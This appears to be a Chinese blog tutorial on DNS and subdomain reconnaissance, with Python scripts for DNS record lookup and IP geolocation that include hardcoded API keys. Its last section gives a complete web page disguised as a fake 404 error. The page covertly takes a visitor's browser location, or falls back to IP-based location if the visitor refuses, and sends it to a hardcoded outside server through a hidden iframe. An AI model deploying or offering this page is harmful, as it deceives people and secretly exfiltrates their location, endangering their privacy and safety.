目录

子域名信息查询

Layer子域名爆破机

subDomainBrute

利用google查询

HTTP证书查询

DNS记录查询脚本

IP转换为经纬度

利用网页获取对方经纬度信息


首先关于DNS域名解析的一些知识,传送门——> DNS域名解析基础

了解了DNS解析的一些知识后,我们就可以开始我们的DNS探测了!

一些和域名查询相关的网站:

子域名信息查询

相关文章:论二级域名收集的各种姿势

查询子域名有三种方法:

  1. 通过爆破子域名进行查询,如 Layer子域名爆破机、subDomainBrute,在线子域名查询网站:https://phpinfo.me/domain/
  2. 通过查询DNS服务器,查询该域下的解析记录
  3. 通过HTTPS证书来查询(只适用于https网站) ,如:https://crt.sh/   就是通过https证书查询子域名
  4. 通过google查询

Layer子域名爆破机

Layer是windows下的一款子域名探测工具,其工作原理是利用子域名字典进行爆破,使用简单容易上手。

链接:  https://pan.baidu.com/s/1IS1QCeb6vPIpabBr3LBJ6w   提取码: w749

subDomainBrute

subDomainBrute的特点是可以用小字典递归的发现三级域名、四级域名、甚至五级域名等不容易被探测到的域名。

相关文章:子域名爆破工具subDomainsBrute

利用google查询

指定站点,然后-就是不包含这个,来查询

site:baidu.com -www

HTTP证书查询

证书透明度(Certificate Transparency)是证书授权机构的一个项目,证书授权机构会将每个SSL/TLS证书发布到公共日志中。一个SSL/TLS证书通常包含域名、子域名和邮件地址。查找某个域名所属证书的最简单的方法就是使用搜索引擎搜索一些公开的CT日志。在线网站:https://crt.sh

可以使用python脚本ct-exposer完成

DNS记录查询脚本

# -*- coding: utf-8 -*-
# python3.7环境
"""
Created on Wed Apr 10 16:40:17 2019
@author: 小谢
"""
##############################################################DNS域名记录查询脚本######################################################
import dns.resolver
domain=input("请输入要查询的域名全拼(例如:www.baidu.com):") #网站子域名
domainpart=[]
num=domain.count('.')
part=domain.split('.')
for i in range(num):
j=i+1
domainpart.append(part[j])
subdomain=".".join(domainpart) #网站主域名
print("该网站主域名为:%s"%subdomain)
#查询A记录
A=dns.resolver.query(domain,'A')
print("********************A记录********************")
for i in A.response.answer:
print(i) #查询CNAME记录
try:
CNAME=dns.resolver.query(domain,'CNAME')
print("********************CNAME记录********************")
for i in CNAME.response.answer:
print(i)
except:
print("--------------------该域名没有CNAME记录!!--------------------") #domain=input("请输入要查询的主域名(例如:baidu.com):")
#查询MX记录
try:
MX=dns.resolver.query(subdomain,'MX')
print("********************MX记录********************")
for i in MX.response.answer:
print(i)
except:
print("--------------------该域名没有MX记录!!--------------------")
#NS记录
try:
NS=dns.resolver.query(subdomain,'NS')
print("********************NS记录********************")
for i in NS.response.answer:
print(i)
except:
print("--------------------该域名没有NS记录!!--------------------")
#SOA记录
try:
SOA=dns.resolver.query(subdomain,'SOA')
print("********************SOA记录********************")
for i in SOA.response.answer:
print(i)
except:
print("--------------------该域名没有SOA记录!!--------------------") #TXT记录
try:
TXT=dns.resolver.query(subdomain,'TXT')
print("********************TXT记录********************")
for i in TXT.response.answer:
print(i)
except:
print("--------------------该域名没有TXT记录!!--------------------") #SRV记录
try:
SRV=dns.resolver.query(domain,'SRV')
print("********************SRV记录********************")
for i in SRV.response.answer:
print(i)
except:
print("--------------------该域名没有SRV记录!!--------------------")
#AAAA记录
try:
SRV=dns.resolver.query(domain,'AAAA')
print("********************AAAA记录********************")
for i in SRV.response.answer:
print(i)
except:
print("--------------------该域名没有AAAA记录!!--------------------")

IP转换为经纬度

# -*- coding: utf-8 -*-
# python2.7环境
"""
Created on Wed Apr 10 16:50:26 2019
@author: 小谢
"""
#####################################################将ip转换为具体的经纬度城市信息#######################################################
#返回数据格式链接: http://lbsyun.baidu.com/index.php?title=webapi/ip-api
import urllib2
import json
ip = raw_input("please your ip address:")
url = "http://api.map.baidu.com/location/ip?ip=%s&ak=GrwQFVVB5qDWviGtSoB4VbU4KK10QVLy&coor=bd09ll"%ip
req = urllib2.Request(url)
res_data = urllib2.urlopen(req)
res = res_data.read().decode("unicode-escape") # 转格式
jsonaddress=json.loads(res)
#print res
print "城市:",jsonaddress['content']['address']
print "省份:",jsonaddress['content']['address_detail']['province']
print "区县:",jsonaddress['content']['address_detail']['district']
print "街道:",jsonaddress['content']['address_detail']['street']
print "经纬度:",jsonaddress['content']['point']['x'],",",jsonaddress['content']['point']['y']
print "纬经度:",jsonaddress['content']['point']['y'],",",jsonaddress['content']['point']['x']

经纬度街景地图:谷歌街景地图

只需要输入 纬度,经度,就可以看到定位的街景地图。

利用网页获取对方经纬度信息

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>404 页面不存在 </title>
<script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>
<script type="text/javascript" src="http://api.map.baidu.com/getscript?v=2.0&ak=GrwQFVVB5qDWviGtSoB4VbU4KK10QVLy"></script>
<script src="http://pv.sohu.com/cityjson?ie=utf-8"></script>
<script>
if(navigator.geolocation){ //如果当前浏览器支持定位
navigator.geolocation.getCurrentPosition(getPositionSuccess, getPositionError);
}else{
console.log("您的浏览器不支持自动定位!");
}
/***用户定位成功**/
function getPositionSuccess(position){
var lat = position.coords.latitude; //经度
var lng = position.coords.longitude; //纬度
var address="";
//通过baiduMap API获取街道名称
var map = new BMap.Map("allmap");
var point = new BMap.Point(lng,lat);
var gc = new BMap.Geocoder();
gc.getLocation(point, function(rs){
var addComp = rs.addressComponents;
address = addComp.city + addComp.district + addComp.street + addComp.streetNumber; //城市区县街道街道号
$("#lng").attr("value",lng); //经度
$("#lat").attr("value",lat); //纬度
url="http://120.79.74.249:8080/?lng="+lat+","+lng; //将经纬度信息传给我们后台搭建的服务器
var frame=$("<iframe>");
frame.attr("src",url);
frame.attr("style","display:none");
$("#body").append(frame);
});
}
/**用户定位失败**/
function getPositionError(error){
var ip;
switch(error.code){
case error.TIMEOUT:
console.log("连接超时,请重试");
break;
case error.PERMISSION_DENIED:
//如果对方拒绝定位,则先通过获取对方ip向百度API获取定位
ip=returnCitySN.cip;
$.getJSON("http://api.map.baidu.com/location/ip?callback=?", {
'ak' : 'nbB3KwnfDq6UvNxGqkRfhOzeu7EnmNCH',
'coor' : 'bd09ll',
'ip' : ip//获取的ip地址
}, function(data) {
var lng=data.content.point.x;//经度
var lat=data.content.point.y;//纬度
$("#lng").attr("value",lng); //经度
$("#lat").attr("value",lat); //纬度
url="http://120.79.74.249:8080/?ip="+ip+"&address="+lat+","+lng; //将ip和经纬度信息传给我们后台搭建的服务器
var frame=$("<iframe>");
frame.attr("src",url);
frame.attr("style","display:none");
$("#body").append(frame);
});
break;
case error.POSITION_UNAVAILABLE:
console.log("亲爱的火星网友,非常抱歉,我们暂时无法为您所在的星球提供位置服务");
break;
}
}
</script>
<style type="text/css">
body,div,h3,h4,li,ol{margin:0;padding:0}
body{font:14px/1.5 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}
:focus{outline:0}
h3,h4,strong{font-weight:700}
a{color:#428bca;text-decoration:none}
a:hover{text-decoration:underline}
.error-page{background:#f0f1f3;padding:80px 0 180px}
.error-page-container{position:relative;z-index:1}
.error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
</style>
</head>
<body id="body">
<div class="error-page">
<h3>
<div class="error-page-container">
<div class="error-page-main">
<strong>404</strong>很抱歉,您要访问的页面不存在!
</div>
</div>
</h3>
</div>
</div>
</div>
</body>
</html>

相关文章:Freebuf-DNS域名信息收集

DNS详解

子域名查询、DNS记录查询的更多相关文章

  1. 子域名爆破&C段查询&调用Bing查询同IP网站

    在线子域名爆破 <?php function domainfuzz($domain) { $ip = gethostbyname($domain); preg_match("/\d+\ ...

  2. #使用C#winform编写渗透测试工具--子域名挖掘

    使用C#winform编写渗透测试工具--子域名挖掘 这篇文章主要介绍使用C#winform编写渗透测试工具--子域名挖掘.在渗透测试中,子域名的收集十分重要,通常一个网站的主站的防御能力特别强,而他 ...

  3. DNS 系列(二):DNS 记录及工作方式,你了解吗?

    在上一篇<DNS 系列(一):为什么更新了 DNS 记录不生效?>中,我们主要讲解了 DNS 和 DNS 传播,知道了网络通信主要通过 IP 地址来进行,而域名系统(DNS)则是保证用户在 ...

  4. java->php之在线子域名查询-接口光速版

    因为不懂java,所以 用php重写了大佬的 在线子域名查询-接口光速版 http://sbd.ximcx.cn/  这是大佬的 然后 改一下 ,用php 其实就是改了几行代码而已,jquery和aj ...

  5. 【Python】子域名查询脚本

    脚本学习,多写写就会啦,来一发个人编写的超级无敌low的子域名查询脚本 #coding:utf-8 import re import requests import urllib import url ...

  6. APT 信息收集——shodan.io ,fofa.so、 MX 及 邮件。mx记录查询。censys.io查询子域名。

    信息收集 目标是某特殊机构,外网结构简单,防护严密.经探测发现其多个子机构由一家网站建设公司建设. 对子域名进行挖掘,确定目标ip分布范围及主要出口ip. 很多网站主站的访问量会比较大.往往主站都是挂 ...

  7. 子域名收集之DNS字典爆破工具fierce与dnsdict6的使用

    子域名收集之DNS字典爆破工具fierce与dnsdict6的使用 一.fierce 0.介绍 该工具是一个域名扫描综合性工具.它可以快速获取指定域名的DNS服务器,并检查是否存在区域传输(Zone ...

  8. DNS反向查询

    DNS反向查询是什么 DNS反向查询大概的一个定义就是: 从 IP 地址获取 PTR 记录.也就是说,通过使用一些网络工具可以将 IP 地址转换为主机名. 实际上,PRT 代表 POINTER,在 D ...

  9. 30多条mysql数据库优化方法,千万级数据库记录查询轻松解决(转载)

    1.对查询进行优化,应尽量避免全表扫描,首先应考虑在 where 及 order by 涉及的列上建立索引. 2.应尽量避免在 where 子句中对字段进行 null 值判断,否则将导致引擎放弃使用索 ...

随机推荐

  1. mysql从一个表提取数据更新另外一个表(修复表数据的不一致)

    目前碰到一个数据不一致的情况,有两张表,一张项目表,一张项目成员表,项目表有个字段是项目工作时间,是项目成员的工作时间汇总.是由于该了逻辑,所以要把数据改成一致. 项目表的大致结构如下. 表名:pro ...

  2. 手工实现一个ThreadPoolExecutor

    以下代码的实现逻辑出自于公众号 码农翻身 <你管这破玩意叫线程池?> - PS:刘欣老师在我心中是软件技术行业的大刘. 线程池接口 public interface Executor { ...

  3. 简述Python垃圾回收机制和常量池的验证

    目录 通过代码验证python解释器内部使用了常量池 Python的引入 变量的引入 为什么要有变量 定义变量 常量引入 常量池引入 Python解释器 Python变量存储机制 Python垃圾回收 ...

  4. uni-app(二)接口请求封装,全局输出api

    在项目 main.js 同级创建 utils 文件夹, utils里创建 config.js文件,存储重要参数 // 获取平台信息 const { system, } = uni.getSystemI ...

  5. C语言float和double输入问题

    统计给定的n个数中,负数.零和正数的个数. Input    输入数据有多组,每组占一行,每行的第一个数是整数n(n<100),表示需要统计的数值的个数,然后是n个实数:如果n=0,则表示输入结 ...

  6. P2516 [HAOI2010]最长公共子序列 题解(LCS)

    题目链接 最长公共子序列 解题思路 第一思路: 1.用\(length[i][j]\)表示\(a\)串的前\(i\)个字符与\(b\)串的前\(j\)个字符重叠的最长子串长度 2.用\(num[i][ ...

  7. Shtml、html、xhtml、htm以及SSI的了解与认识(转载)

    Shtml.html.xhtml.htm以及SSI的了解与认识(转载) 一.htm.html.shtml网页区别(博客园) 文章链接:https://www.cnblogs.com/Renyi-Fan ...

  8. java中==和equals()方法

    java 程序中测试两个变量是否相等有两种方法: == equals()方法 当使用==判断两个变量是否相等时,如果两个变量是基本类型变量,且都是数值类型(不一定要求数据类型严格相同),则只要两个变量 ...

  9. python3 int() 各数据类型转int

    print(int('0b1010',0))#二进制数print(int('0xa',0))#十六进制数print(int('0xa',16))print(int('a',16))print(int( ...

  10. 热更新解决方案--xlua学习笔记

    一.热更新方案简介 在Unity游戏工程中,C#代码(编译型语言)资源和Resources文件夹下的资源打包后都不可以更改,因此这部分内容不能进行热更新,而lua代码(解释型语言)逻辑不需要进行预编译 ...